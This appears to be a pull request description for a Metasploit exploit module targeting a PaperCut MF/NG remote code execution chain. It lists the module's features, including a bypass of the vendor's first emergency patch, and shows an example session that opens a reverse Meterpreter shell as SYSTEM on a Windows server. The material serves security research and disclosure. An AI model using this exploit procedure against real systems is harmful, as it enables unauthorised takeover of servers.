Add exploit module for the recent PaperCut MF/NG 0day (CVE-2026-81578 + CVE-2026-82078)

[sfewer-r7]

Overview

This pull request adds an exploit module for the recent PaperCut MF and PaperCut NG exploit chain (CVE-2026-81578 + CVE-2026-82078) that was reported last week as a zero-day being actively exploited in the wild.

More details in our ETR blog post and the vendor advisory.

The module supports:

• Targeting all supported version of PaperCut MF and PaperCut NG; 26.x, 25.x, 24.x (Older unsupported product versions 23.x and below were not tested but might work).
• Bypasses the vendors emergency patch v1. The vendors emergency patch v2 has been verified to successfully remediate this exploit.
• Payload support for both platform-agnostic Java (ARCH_JAVA), and Windows or Linux command (ARCH_CMD). Java payloads on 26.x execute in-memory, on 25.x and below a helper class must be dropped due to how the RCE primitive works.
• A version based check routine.

Example

msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > check
[+] 192.168.86.155:9191 - The target appears to be vulnerable. PaperCut MF 26.0.4.76494.
msf exploit(multi/http/papercut_ng_external_user_lookup_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. PaperCut MF 26.0.4.76494.
[*] Using URL: http://192.168.86.122:8181/jhnadryh/
[*] PaperCut 26.0.4.76494 detected; using H2 to execute Groovy bootstrap
[*] Setting config...
[*] Triggering the external user lookup
[*] Resetting config...
[*] Meterpreter session 18 opened (192.168.86.122:5555 -> 192.168.86.155:64245) at 2026-08-30 15:45:46 +0100
[*] Server stopped.

meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo 
Computer        : WIN-FG3H2SKPOTA
OS              : Windows Server 2025 10.0 (amd64)
Architecture    : x64
System Language : en_IE
Meterpreter     : java/windows
meterpreter > cat version.txt 
[version]
name-with-version=PaperCut MF 26.0.4 (Build 76494)
name=PaperCut MF
version-major=26
version-minor=0
version-patch=4
version-suffix=
version-build=76494
meterpreter >